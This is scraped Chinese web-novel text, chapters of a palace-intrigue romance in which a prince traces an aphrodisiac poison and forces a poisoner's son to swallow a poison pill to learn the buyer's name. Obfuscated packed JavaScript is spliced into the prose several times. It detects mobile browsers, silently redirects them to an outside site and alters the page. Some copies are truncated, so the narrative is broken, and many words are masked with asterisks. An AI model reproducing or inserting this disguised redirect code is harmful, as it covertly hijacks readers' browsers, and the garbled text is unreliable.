张嫣微微垂首,不敢直视他那双冷若冰霜的桃花眸,故作镇定地问道:“不知四皇子殿下召臣女前来,有何要事?” “昨夜,是谁指使你给姜姑娘下毒的?”萧凌川开门见山,语气冷冽,不带一丝温度。 “臣女听不懂殿下在说什么。”张嫣神色无辜,故作惊讶,“姜姑娘**了吗?昨夜宴席散后,臣女还看到她安然无恙地离开皇宫,怎么会**呢?” “不必在我面前装模作样!”萧凌川耐心告罄,俊美如铸的脸上戾气横生,“如实招来,我可以饶你不死。若你想包庇那始作俑者,就别怪本皇子不客气!” “殿下想做什么?”张嫣强压下内心深处的恐惧,鼓起勇气与他对视,“臣女如今已是准二皇子妃,说起来也是四皇子殿下未来的皇嫂。我知道四皇子殿下深受陛下器重,但还没能一手遮天到可以随意处置我的地步吧?” 萧凌川周身寒气逼人,仿佛要将周围的一切都冻结成冰:“你大可试试看。” 感受到他那冷若冰霜的目光,张嫣的心头猛然一紧,仿佛被一只无形的大手攥住,几乎喘不过气来。 但她很快便恢复了平静的神色。 昨夜,她将萧凌川引至偏殿后,又故意引萧怀瑾去那附近寻找姜姝宁。 他们抵达偏殿时,那里已经空无一人,她便知道这场算计并未得逞。 没想到,这位平日里看似冷漠疏离的四皇子,竟然如此维护姜姝宁的清白,在那样的情境之下,竟然还能克制住自己,不与她行云雨之事。 是她低估了萧凌川对姜姝宁的情意。 但即便如此,下毒一事,她也绝不会轻易承认。 否则,岂不是自投罗网,授人以柄? 就在两人之间的气氛僵持到极点时,凌风忽然走了进来,在萧凌川耳边低声禀告了几句,同时递上一张纸张。 萧凌川接过纸张,只扫了一眼,嘴角便勾起一抹意味深长的冷笑,深邃的眼眸中闪烁着令人不寒而栗的光芒,再次看向张嫣。 “既然张姑娘不愿配合,不肯供出幕后主使,那么,我就只好自己将他揪出来,让他亲自指证你!到时候,我倒要看看,张姑娘是否还会执迷不悟,后悔今日包庇之举!” 张嫣闻言,心头猛地一沉,一股强烈的不安感瞬间涌上心头。 但她极力控制着自己,没有泄露半点情绪。 昨夜她相当谨慎,没有留下任何手尾,他不可能掌握任何确凿的证据。 这事就算闹到御前也无法定她的罪! “四皇子殿下想做什么,悉听尊便。若是没有其他事情,臣女就先行告退了。”说完,她便转身离去。 待张嫣离开后,萧凌川立刻吩咐凌风:“立刻将这张制毒的方子送到孙神医手中,务必让他按照上面的配方,尽快研制出解药!速度要快,别让姜姑娘继续遭受毒素的折磨!” “是,殿下!”凌风领命,旋即快步退下。 萧琪钰得知张嫣始终不肯承认下药一事,颇为费解。 起初他还以为她是被人蒙蔽利用,如今看来,她的态度更像是和人共谋。 “她为何要如此陷害嫂嫂?难道她是三哥的人?这说不通啊,如果她是三哥的人,又为何要和二哥定亲?难道是三哥和二哥暗中结盟了?” 萧凌川冷声道:“这件事的真相,恐怕只有她自己才清楚。不过,如今我已经确定,这毒出自南月毒师之手。只要能从她口中问出买家的身份,就能知道究竟是谁如此歹毒,竟然想用如此下三滥的手段来陷害我和姜姑娘!” 萧琪钰脸上露出调侃的笑:“幸好四哥你定力够好,没有越雷池半步!不然的话,恐怕就要落得个**身亡的下场了!老实说,面对如此美色,四哥,你究竟是怎么把持住的?” 那可是他朝思暮想的姜姑娘啊,那种情形,是个男人都控制不了,四哥竟然忍住了,莫非…… 萧凌川幽幽地看了他一眼:“我服解药了。” 给姜姝宁服下那颗解媚药的药丸,却发现不起作用后,他便立刻给自己也服下了一颗,以防把持不住。 萧琪钰顿时恍然大悟:“原来如此!我方才还在担心,四哥你是不是有什么隐疾呢!” 萧凌川:“……” “四哥,你怎么不说话?” 萧凌川双眸微眯,目光危险:“我在考虑是把你的舌头拔下来呢,还是直接把你毒哑比较好?” 萧琪钰顿时大惊失色:“四哥,有话好好说,冲动是魔鬼啊!”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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姜姝宁一愣,有些不确定地问:“殿下是想要将我三弟纳入麾下吗?” “你难道不希望这样吗?”萧凌川反问道,目光灼灼地盯着她,“在我这里,他可以少走许多弯路,更快地实现自己的抱负。” 老实说,姜姝宁心中确实有些心动。 并非所有人都能通过科举考试,成功踏入仕途,即使金榜题名,朝堂之上也充满了勾心斗角,也未必能得到重用。 但如果能够得到萧凌川的赏识,被纳入他的麾下,姜天泽便可以少奋斗许多年,轻松达到别人穷尽一生也无法企及的高度。 姜天泽是相府唯一的继承人,也是姜家唯一的男丁,肩负着光宗耀祖的重任,萧凌川提出的这个建议实在诱人。 只是…… 第144章 把他当个孩子 第一百四十四章把他当个孩子 只是,倘若姜家的未来,完全维系在萧凌川一人身上,那她日后岂不是连退路都没有? 更让她担忧的是,姜天泽若受萧凌川栽培,平步青云,日后会不会被那滔**势迷了眼,从而背弃她这个堂姐? 毕竟,在许多男子眼中,锦绣前程、高官厚禄,往往重于骨肉亲情。 萧凌川敏锐地察觉到她神色间的迟疑,神色微沉,语气带着几分压迫:“怎么,如此千载难逢的良机摆在眼前,你还想推拒不成?难道……你之前所说的,待我君临天下便心甘情愿做我的女人,也是哄骗我的?” 说最后一句话时,他倾身凑近,阴郁的目光带着毫不掩饰的审视,紧锁着她的眼眸。 姜姝宁心头猛地一跳,没想到他竟如此轻易便洞悉了她的心思。 她迅速敛起纷乱的思绪,脸上绽开一抹恰到好处的笑容,柔声道:“殿下说笑了。殿下愿意提携臣女的三弟,臣女受宠若惊,一时有些反应不过来罢了。” “那么,你的答案呢?”萧凌川追问道,不给她丝毫喘息之机。 姜姝宁暗自深吸一口气,努力维持脸上那受宠若惊的笑意,答道:“臣女求之不得!” 她心中飞快盘算:姜天泽与自己素来亲近,即便日后真为萧凌川所用,不一定会为了权势地位而背叛自己。 眼下,也只能先应承下来,走一步看一步了。 “甚好。”萧凌川唇角勾起一抹满意的弧度,眼底深处却掠过一丝晦暗,“既如此,你便寻个时机将他带来宫中,让我亲自瞧瞧。” 他心中冷笑:这一次,他不信自己还拿捏不住那南月毒师的软肋! 姜姝宁回到相府后,便径直前往西院去找姜天泽。 这几日,姜天泽一直刻意躲避着她,没料到她竟会主动找上门来,心中既欣喜,又不安。 “大姐姐找我,可是有什么事吗?”他略带拘谨地问道。 姜姝宁微微颔首:“四皇子殿下有意提携于你,想见你一面。” 姜天泽神情一怔,有些意外:“大姐姐是希望我追随四皇子殿下?” “能够得到皇子的赏识与提携,是无数人梦寐以求的。我自然希望你能借此机会光耀门楣,为姜家争光。”姜姝宁语气中带着几分期许。 前世夺嫡之争,萧凌川与萧怀瑾势均力敌,如今又多了重生的优势,未来的皇位,无疑非他莫属。 追随他,便等同于追随未来的帝王,对于肩负家族兴衰的姜家继承人而言,这无疑是一条通往荣耀的捷径。 姜天泽想起那夜在宫宴之上见到的、与自己容貌有几分相似的萧凌川,以及后来姜三夫人告诉他的,他们之间的关系,眼眸深处闪过一丝复杂的神色。 “只要是大姐姐所期望的,天泽定当竭尽全力,绝不辜负!”他语气坚定道。 姜姝宁微微一笑,转而试探性地问道:“若有一日,让你在权势与亲情之间做出抉择,你会如何选择?” “自然是亲情!”姜天泽脱口而出,“若非为了守护姜家,让亲人过上安稳富足的生活,我又何必汲汲营营,臣服于权势?若权势非但无法保护我的家人,反而要我牺牲他们,岂不是舍本逐末,本末倒置了吗?” 听到这番话,姜姝宁心中涌起一股暖流,感动不已。 姜天泽虽年仅十六,却已然懂得亲情的可贵,拥有如此清醒的认知,实属难得。 她情不自禁地抬起手,疼爱地摸了摸他的头:“大姐姐果然没有白疼你!” 姜天泽双颊泛起一抹红晕:“大姐姐,我已经十六岁了,你别总是把我当成小孩子看待!” 虽然他很喜欢姜姝宁与自己亲近,但摸头这种举动,总让他觉得自己像个稚童,要么就是她养的小宠物。 姜姝宁这才收回手,笑得眉眼弯弯:“你能有多大?” “我只比大姐姐小一岁而已!”他强调道。 姜姝宁心里暗笑:我这可是个三十岁的灵魂,你一个十六岁的少年在我眼里,还真就是个没长大的孩子。 面上却依旧笑着打趣道:“是是是,你是个大孩子了,不是小孩子了!” 姜天泽:“……” 他在大姐姐眼里,就不能是个男人吗? 第二日,姜姝宁便带着姜天泽一同入宫。 马车上,她叮嘱道:“待会儿见到四皇子殿下,切记务必谨言慎行。他这人城府深沉,又极擅长旁敲侧击,你可千万要小心提防,莫要被他套了话去。” 听到这话,姜天泽忍不住道:“大姐姐似乎对四皇子殿下颇有微词?” 姜姝宁心中暗道:何止? ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15709567|172253||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 若非为了替大哥报仇雪恨,她才不愿与这般心思极深之人虚与委蛇,实在是劳心费神! “总之,你小心应对便是。”她抬手轻轻拍了拍他的手背,以示安抚,“放心,我会在一旁照应着你的!” 姜天泽反手握住她的手:“大姐姐放心,天泽定会竭尽所能,让四皇子殿下对我另眼相看!” 姐弟二人很快便抵达景和宫。 萧凌川早已在正厅等候多时。 姜姝宁上前,恭敬行礼:“臣女拜见四皇子殿下。这位是臣女的三弟,姜天泽。” “天泽见过四皇子殿下!”姜天泽也学着她的样子,恭敬地向萧凌川行了一礼。 萧凌川目光如炬,带着审视意味地落在姜天泽身上,开门见山地问:“可**过武?” “略懂一二,只是些粗浅功夫,难登大雅之堂。”姜天泽谦虚地答道。 “既如此,那便随我去操练场,切磋一番!”萧凌川冷声下指令。 姜天泽下意识地看向姜姝宁。 姜姝宁朝他点了点头,示意他无需担忧。 他这才转过头,应道:“是,殿下!” 说完,他便跟随萧凌川欲往外走去。 姜姝宁见状,也连忙迈步跟了上去,却被萧凌川抬手制止了。 “男人之间的较量,你无需在场。”他声音冷厉,语气带着一丝不容置疑的意味。 “为何?”姜姝宁有些不乐意,“我只是在一旁观战而已,绝不会干扰你们比试!” 萧凌川俊美的脸上浮起一丝不易察觉的嘲弄之色:“既然姜姑娘如此心疼自己的堂弟,生怕他有所损伤,那不如还是将他带回去吧。本皇子可没有兴致提携一个离不开襁褓的稚童!” 这番话语,无疑激起了姜天泽内心深处那股想要证明自身实力的强烈冲动。 他看向姜姝宁,神色坚定:“大姐姐,不必担心,我一个人可以的!” 说着,他又转过头,面向萧凌川,拱手道:“殿下,我们这便过去吧!” 他可堂堂男子汉,哪需要大姐姐在一旁看护与照料? 这四皇子殿下未免太小瞧他了! 姜姝宁无奈,只能由着他独自前往操练场。 萧凌川眼底飞快地掠过一丝不易察觉的阴鸷之色:激将法果然奏效了! 第145章 你很闲吗? 第一百四十五章你很闲吗? 两人一前一后,行至操练场。 还未等姜天泽站稳脚跟、有所防备,萧凌川便已骤然发难,凌厉的拳风直扑面门。 他的招式迅猛而狠辣,无论是速度还是力量,都远非姜天泽所能企及,他们的武艺根本不在同一层次。 仅仅过了三招,姜天泽便已落入下风,被萧凌川以雷霆之势反剪双手,重重地压制着跪倒在地。 手臂上传来一阵阵撕心裂肺般的剧痛,仿佛要将骨头碾碎一般,姜天泽紧咬牙关,硬生生地将即将脱口而出的痛呼声咽了回去。 “四皇子殿下果然武艺超群,天泽甘拜下风!”他强忍着剧痛,艰难地开口。 萧凌川冰冷的声音从他身后传来,带着一股令人不寒而栗的压迫感:“本皇子没工夫听你恭维!那日姜姑娘身上所中的媚毒,是你母亲所制吧?好大的胆子,一个南月余孽,竟敢潜藏于我大邺境内,私下里兜售**,扰乱纲纪!” 姜天泽闻言,眼底瞬间掠过一丝惊慌。 早在交出那份制毒方子时,他便已经预料到,此举有暴露他母亲**的风险。 但那日姜姝宁所中的毒实在太过霸道,情况万分危急,他实在无法眼睁睁地看着她遭受**的折磨与摧残,这才冒险将方子交了出去。 他万万没有想到,这位四皇子殿下为了引他入局,竟然会以提携他为名,欺骗姜姝宁带他前来。 当真是城府深沉,阴险狡诈至极! “殿下要杀要剐,悉听尊便!” “看来你真不怕死。不过,我并非想取你性命,只想让你如实相告,购买此毒的人究竟是谁?你若肯说出实情,我便可既往不咎,并兑现承诺,日后尽力提携你。若是不说……”萧凌川蓦地加重了手中的力道,只听得姜天泽的手臂关节处发出令人牙酸的咯咯摩擦之声,仿佛随时都有可能断裂一般。 “我真的不知道!”姜天泽疼得龇牙咧嘴,额头上的青筋根根暴起,“我曾多次追问过母亲,但她始终不肯吐露半个字!不瞒您说,我比您更加想要知道买家究竟是谁!” 这样,他便可以亲手将那人**万段,以泄心头之恨! 萧凌川冷哼一声,语气带着一丝嘲讽:“她不肯告诉你,你就毫无办法了吗?难道你就不能以自己的性命作为要挟,逼迫她亲口说出买家的身份?” “我如何能用性命……啊!”姜天泽话音未落,便突然感到手臂传来一阵锥心刺骨般的剧痛,让他再也无法忍受,忍不住发出一声凄厉的惨叫。 趁他嘴巴大张之际,一颗冰凉的药丸便被强行塞入了他的口中。 萧凌川紧紧地捂住他的嘴巴,不容分说地逼迫他将那颗药丸吞咽下去,声音冰冷:“现在,你便有办法了。” 姜天泽:“……” 大姐姐,四皇子哪里是城府深沉啊,他简直就是一个不折不扣的魔鬼! 萧凌川这才缓缓松开他,慢条斯理地帮他将脱臼的手臂接了回去,语气慵懒而随意:“回去告诉你母亲,你已经服下了一颗**,若是在十二个时辰之内无法拿到解药,必定会毒发身亡。她若想要得到解药,便拿买家的信息来与本皇子交换。” 姜天泽疼得脸色煞白如纸,大口大口地喘着粗气,看向萧凌川的目光中充满了恐惧与愤恨,却又不敢轻举妄动。 “是,殿下……我记住了。” 话音刚落,萧凌川便毫不留情地一拳狠狠地砸在他的左眼之上,打得他眼冒金星。 看着他左眼眶上迅速浮起一块触目惊心的青肿印记,萧凌川这才满意地点了点头:“这下看起来顺眼多了。” 姜姝宁不是一直说他和姜天泽长得很像吗? 现在,他们总该不像了吧? 姜天泽:“……” 大姐姐,我总是明白你为何会如此厌恶这位四皇子殿下了! 姜天泽默默地跟在萧凌川身后,回到了正厅。 姜姝宁一见到姜天泽左眼上那触目惊心的乌青,顿时心疼不已:“天泽,你的眼睛怎么了?伤得这么重!” 还不等姜天泽开口,萧凌川便抢先一步,轻描淡写地说道:“切磋武艺,受伤是在所难免。只肿了一只眼睛,已经算好的了。” 若不是看着这是她的堂弟的份上,他真想直接将这个南月毒师的后代打得筋断骨折,卧床不起。 姜姝宁秀眉微蹙,显然对萧凌川的说法并不认同:“殿下武艺高强,天泽自然无法与您相提并论。既然说是切磋,殿下就应该稍微谦让着他一点,点到为止即可,何必让他挂彩?” “让着他点?”萧凌川冷哼一声,“若是将他扔到危机四伏的战场之上,那些穷凶极恶的敌军又是否会对他手下留情,谦让他几分呢?” “殿下你……”姜姝宁听出了他话里隐藏的深意,略带惊讶地问道,“殿下莫非是打算让天泽将来成为一名武将?” “如今的大邺,国力算不上是最为强盛的,无论是南月,还是西洲,都对我大邺的疆土虎视眈眈。在战乱纷争的动荡时期,自然是武将更加吃香,也更容易出人头地。普天之下,还有什么能够比得上掌握兵权更能让人拥有权势和地位呢?” 听萧凌川这一番的分析,姜姝宁也觉得颇有道理。 姜丞相和顾御史皆是地位颇高的文人,可他们却连自己唯一的儿子都无法保护周全。 武将虽 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15709568|172253||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 然会被当权者所忌惮,但却也无人胆敢轻易地欺辱和冒犯。 只是…… 她再次将目光投向姜天泽那红肿的左眼,依旧心疼不已:“即便如此,殿下你也应该稍微控制一下力道,下手轻一点。他毕竟还只是个孩子!” 姜姝宁这话,无疑又一次刺激到姜天泽,他忍不住反驳道:“大姐姐,我已经不是小孩子了!” 萧凌川趁机道:“你看,你的堂弟自己都不甚在意,你又何必在此妇人之仁?” 姜姝宁:“……” 这萧凌川,还真是会**! 姐弟两人并肩走出景和宫,沿着曲折蜿蜒的宫道缓缓而行。 忽然,一只毛茸茸的小鹿映入眼帘,它蹦蹦跳跳,格外引人注目。 “绒毛?你怎么会出现在这里?”姜姝宁惊喜地唤了一声,不由自主地向前走了两步。 正欲伸手抚摸它,那小鹿却突然撒开腿往前跑了几步,随后又停了下来,转过身,一双水汪汪的鹿眸一眨不眨地看着她。 姜天泽见状,暗自腹诽:谁用如此拙劣的手段来吸引他大姐姐的注意? 眼看着姜姝宁又要继续上前,试图与小鹿亲近,姜天泽快步走到她的身旁,拉住她的手往宫门的方向走去:“大姐姐,时辰已经不早了,我们还是尽快回府吧!” 见他们二人即将离去,不远处的萧怀瑾连忙装出一副正在寻找小鹿的模样,朝他们走了过来。 他笑容一如既往的和熙:“姜姑娘,真巧。” 注意到姜天泽左眼上的伤,他连忙关切地问:“令弟的眼睛这是怎么了?看起来似乎伤得不轻啊!” “见过五皇子殿下。”姜姝宁微微颔首,“今日臣女带着堂弟进宫,与四皇子殿下切磋武艺。天泽的武艺尚不精湛,不慎被四皇子殿下打伤了,让殿下见笑了。” 听她说是去见萧凌川,萧怀瑾藏在袖子底下的手下意识握紧。 “四哥下手也未免太重了些。”他提议道,“这伤看着挺严重的,要不去我宫里,我让宫人给他上药?” “不必了!”姜天泽语气生硬地拒绝,神情间透着一丝不耐烦,“多谢五皇子殿下的好意,不过我与大姐姐还有要事在身,想尽快赶回府,就不叨扰殿下了。” 他现在只剩下不到十二个时辰的时间,实在是不想将时间浪费在这些无关紧要的琐事之上。 萧怀瑾却似乎并不打算轻易放弃,依旧坚持道:“不过是上点药而已,耽误不了多少时间的。若是带着这伤回去,怕是会让姜丞相胡思乱想,徒增烦恼。” 姜天泽心中顿时涌起一股难以抑制的怒火,语气不善地反问道:“五皇子殿下,您很闲吗?” 第146章 跟强盗有何区别? 第一百四十六章跟强盗有何区别? 萧怀瑾显然没料到姜天泽会如此直白地发难,一时之间竟有些怔愣,不知如何作答。 姜天泽继续冷声嘲讽,言语间是少年特有的不屑:“想必五皇子殿下平日里一定是清闲得很,才能在这戒备森严的皇宫里闲逛逗鹿吧?天泽真是羡慕五皇子殿下,生于皇家,便能得享皇权和强大母族的庇佑,什么也不用做,便可一辈子衣食无忧,尽享荣华富贵!” 这番话如刀子一般,毫不留情地捅向萧怀瑾的心口。 他脸色瞬间变得苍白,下意识地看向一旁的姜姝宁:“姜姑娘……你也是这般看待我的吗?” “殿下,我三弟年幼无知,童言无忌,您千万别往心里去!”姜姝宁一边说着,一边拉了拉姜天泽的衣袖,暗示他适可而止,“天泽,快向五皇子殿下赔礼道歉!” “不必了。”萧怀瑾神情黯然地后退一步,脸上浮现出一抹苦涩的笑容,“令弟所言……或许也有几分道理。姜姑娘,姜公子,告辞。” 说完,他便转身离去,背影显得格外孤寂和落寞。 目送着萧怀瑾消失在视线尽头,姜姝宁转过身,有些责怪地看向姜天泽:“你方才为何要说那番话?” “天泽只是实话实说!”姜天泽神色阴郁,眼神中闪烁着一丝不甘,“有些人之所以能过上锦衣玉食的生活,并非完全依靠自身努力,而是因为他们命好,投胎在了皇家。若褪去皇子的光环,他未必就比其他人强!” 姜姝宁苦涩一笑:“三弟,你有所不知,命好本身就是常人难以企及的优势,相比之下,努力反倒显得微不足道了。” 萧怀瑾有些失魂落魄地来到福禄宫。 看到他,荣贵妃笑容满溢:“瑾儿,你来了?” 萧怀瑾心不在焉地点了点头,随即问:“母妃,外祖父最近在忙些什么?许久未见他进宫了。” “最近大邺东边发现了一座储量丰富的金矿,如今正在紧锣密鼓地开采中。 开采出来的金子,一部分会用来铸造新的货币;另一部分则会打造成精美的商品,出售给国内富庶的百姓,或是销往其他国家,以充盈国库。 你父皇命你外祖和舅舅负责打通各个销售渠道,确保金矿开采的利益最大化。” 荣贵妃一边娓娓道来,一边慢条斯理地端起茶杯轻啜了一口。 萧怀瑾问:“母妃,儿臣能否恳请您向父皇进言,让外祖父和舅舅也带儿臣一同参与此事?儿臣也想为大邺尽一份绵薄之力。” 荣贵妃喝茶的动作一顿:“怎么突然提出这样的要求?” 萧怀瑾想起方才姜天泽对自己说的那番话,就差把“皇室蛀虫”四个字贴在他额头上了。 他苦笑道:“母妃,儿臣自知不通武艺,也并无一技之长傍身,若非生在皇家,恐怕连寻常的富家公子都比不上。 外祖父素来精于商道,儿臣不如趁此机会,跟随他老人家学习一些经商的技巧,或许将来也能为大邺的繁荣昌盛贡献一份力量!” “可……”荣贵妃有些迟疑,“疏通销售渠道,可并非看上去那么简单轻松,需要频繁地往来于大邺各地,甚至还要远赴其他国家,一路颠簸劳顿,其中的辛苦可想而知啊!” “外祖父和舅舅他们都不畏惧辛苦,儿臣正值青春年少,又怎能轻易退缩呢?母妃,还请您成全儿臣的请求吧!儿臣也想学些真本事,摆脱一直以来都只能仰仗母妃和外祖庇护的窘境,证明自己并非一无是处。” 既然姜姝宁的弟弟姜天泽都觉得他是个皇室蛀虫,想必姜姝宁也如此想。 他不想让自己心爱的女子看轻自己。 不管怎样,他都要学点真本事。 荣贵妃脸上露出欣慰的神色:“瑾儿长大了。既然你如此坚持,那母妃便与你父皇好好商议一番,让他恩准你跟随外祖父和舅舅一同前往,也算是让你开阔一下眼界,增长一些见识!” “多谢母妃成全!”萧怀瑾闻言,顿时如释重负,脸上也露出了久违的笑容。 —— 姜天泽回到相府,立即去找他的母亲姜三夫人。 听说儿子被四皇子强行喂下**,并勒令她在十二个时辰之内交出幕后买家的信息,姜三夫人顿时又惊又怒。 “这四皇子的手段着实恶劣!这跟强盗有何区别?” 姜天泽反倒显得异常冷静。 “母亲,现在是您做出抉择的时候了。究竟是选择交出买家信息,还是眼睁睁地看着我毒发身亡,命丧黄泉?” 姜三夫人浑身颤抖,她用力闭上眼睛,睁开眼睛时,眼里只剩下决绝。 “去告诉四皇子殿下,买家便是姜瑶真的生母,姜家姨娘!” “姜家姨娘?她不是早就**吗?”姜天泽有些诧异地问。 “她当年是假死脱身,为的就是掩盖她身为南月细作的**。这些年来,她一直潜伏在暗处,偷偷摸摸地搜集着关于大邺的各种机密情报,送到南月人手中。” “所以,她想杀四皇子殿下,是因为四皇子识破了她南月细作的身份?”姜天泽问。 姜三夫人冷笑起来:“怕是没那么简单。‘牡丹花下’是我炼制的最阴毒的**,想来他们之间肯定有不为人知的仇恨,才会让那南月细作愿意用高昂的代价向我买下这种狠辣的毒物。” “若我将她是买家的真相告诉四皇子,那南月细作可会报复你?”姜天泽略带担忧地问。 “事到如今,也顾不了那么多 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“自然!没有什么比我的天泽更重要!”姜三夫人冷冷看着她,“我特意前来知会你一声,劝你识相一点,尽早带着你女儿离开这是非之地,以免明日四皇子得知真相,会要了你们母女的性命!” “我们能去哪里?我们身中四皇子的毒,每个月都必须按时服用他给的解药,否则便会全身溃烂而死!” 姜家姨娘情绪彻底失控,比划的手势也变得凌乱起来,“本来我们是打算给四皇子下毒,逼他交出解药的,却没想到不仅计划失败,还被你暴露了我就是幕后买家!这次,我们母女都被你给害**!” 姜三夫人闻言,神色顿时变得晦暗不明。 说起来,这件事的确是她理亏在先,若非为了救自己的儿子,她也不会出卖姜家姨娘,坏了买卖规矩。 “这样吧,我虽然不会制作解药,但我知道一种以毒攻毒的方法。我这里有一种特殊的**,服用之后,可以使女子肤如凝脂,吹弹可破,即便受伤也能迅速痊愈,不留半点疤痕,堪称驻颜圣品。只不过,这种**有一个副作用,但我想对于你而言,应该并无大碍。” “什么副作用?”姜家姨娘急切地比划问。 “此**会让人无法生育。” “什么?”姜家姨娘脸上浮起愠色,她比划道,“真儿将来是要成为这大邺最尊贵的女子,她怎么能无法生育?” 姜三夫人冷笑起来:“你就那么肯定,你们的计谋能成?我劝你野心不要太大!是死还是不生育,你自己选吧!” 姜家姨娘犹豫了片刻,终于咬牙下定决心:“把那毒给我吧!” 第147章 碍眼的情敌离开了 第一百四十七章碍眼的情敌离开了 第二日清晨,姜天泽一大早就来到姜姝宁的翠竹院,恳求道:“大姐姐,劳烦你带我进宫一趟,我有要事需面见四皇子殿下。昨日他的招数让我颇为佩服,我想再与他切磋一番。” 姜姝宁闻言,难以置信地盯着他尚未痊愈的左眼,眼角微抽:“三弟,你是认真的吗?” 说实话,直到现在,她仍觉得萧凌川昨日是故意对姜天泽下狠手的。 不然,为何偏偏在他脸上留下如此显眼的伤痕? 这个男人,连如此酷似自己的脸都能狠心下手,简直冷酷无情! “大姐姐,别问了,我们赶紧出发吧!”姜天泽催促道。 还有几个时辰他体内的毒就要发作了,必须尽快见到萧凌川,拿到解药! 不多时,姜天泽便随姜姝宁一同进了宫。 借着单独切磋的由头,姜天泽将姜姝宁支开,随后将买家信息一五一十地告知了萧凌川。 萧凌川也不食言,按约定将解药交给了他。 姜天泽接过解药,毫不犹豫地服下,随后朝萧凌川郑重行礼:“多谢殿下救命之恩!还望殿下信守承诺,提携在下,在下定当感激不尽!” “放心,本皇子言出必行。”萧凌川语气淡漠,眼中却闪过一丝审视的光芒,“不过,若你和你母亲想在大邺平安无事,就必须为本皇子效力。从今往后,你母亲不能再跟姜瑶真母女做生意。这个要求,你可应允?” “在下也有一个请求。”姜天泽神色阴沉,咬牙道,“那姜家姨娘如此陷害我大姐姐,希望殿下能让她生不如死!” 听到这话,萧凌川脸上浮现出一抹满意之色。 不愧是姜姝宁疼爱的堂弟,果然一心为她着想。 “放心,此次下毒,她是冲着本皇子来的,本皇子又怎会轻易饶过她?”萧凌川冷冷一笑,语气中透着森然寒意,“你且看着吧,本皇子定会让她付出惨痛代价!” “既如此,在下与母亲,自当为殿下效忠!”姜天泽沉声应道,眼底掠过一丝寒芒。 姜天泽从操练场回到正厅,姜姝宁立刻迎上前,神色紧张地打量着他脸上是否添了新伤,确认无恙后才暗暗松了一口气。 两人向萧凌川行礼告别,随后并肩走在出宫的宫道上。 “四皇子殿下没为难你吧?”姜姝宁问。 “没有,他只是再三叮嘱,让我日后忠心于他。”姜天泽低声回道,眼底闪过一抹晦涩的光芒,“大姐姐放心,我自有分寸,知道该如何与他周旋。” 刚才在萧凌川面前承诺效忠,不过是权宜之计,表面上的臣服罢了。 如今他母亲的身份已被识破,若想在大邺继续安稳度日,暂时低头是唯一的出路。 姜姝宁脸上露出几分欣慰:“那就好,我还怕你在四皇子那里吃亏。” 姜天泽脑海中浮现出昨日被拧着胳膊、狼狈跪地的模样,不由暗自庆幸道:幸好没让大姐姐瞧见那副丢人的样子,不然,脸面可就丢尽了! 就在他们快要走出宫门之际,一名内侍快步上前,恭敬地朝姜姝宁行了一礼:“可是相府的姜姑娘?” “正是,这位公公有何事?”姜姝宁微微颔首,疑惑地问道。 内侍双手奉上一封信,信封上写着“姝宁亲启”四个字,语气恭谨:“这是五皇子殿下特意托奴才转交给姜姑娘的,请姜姑娘收下。” “多谢公公!”姜姝宁接过信,礼貌地道谢。 内侍离开后,姜天泽忍不住撇了撇嘴,小声嘀咕:“有什么话非得写在信里?这五皇子殿下的花样还真是多!” 姜姝宁没搭腔,她拆开信封,认真地看了起来。 “姜姑娘: 见信时,我已离开皇宫,跟随祖父与舅舅,踏上为黄金寻找商机的道路。 前些日子,你那堂弟的一番话,如同醍醐灌顶,让我幡然醒悟。我意识到,除去皇子的身份,自己实则一无是处,如同瓦砾置于星空之下,黯淡无光。 你堂弟的言辞,一针见血,直击我的要害。我平日里确实仰仗皇权庇护,受母族呵护,如同雏鸟依偎在巢穴之中,从未经历风雨。一旦离开庇护,才知世事艰难,自身渺小如蝼蚁。 但我深知,为了日后能够更好地辅佐君王,守护社稷,我必须学习技艺,增长才干。正如鲲鹏想要展翅翱翔于九天之上,必先经受振翅的磨砺。 希望下次见面时,能让你对我刮目相看,惊叹于我的蜕变。 怀瑾敬上” 姜姝宁合上信,抬头看向姜天泽,语气中带着几分欣慰:“五皇子殿下决定离宫,为大邺开拓商机去了。说起来,这还得归功于你昨日那番话,点醒了他。 他不愿在宫中做个只靠皇权和母族庇护、毫无建树的皇子,所以决定外出历练,增长见识。这样的上进心,着实难得。” 姜天泽听后,心中暗自窃喜。 太好了,五皇子这个碍眼的情敌终于要离开皇宫了! 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15714242|172253||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 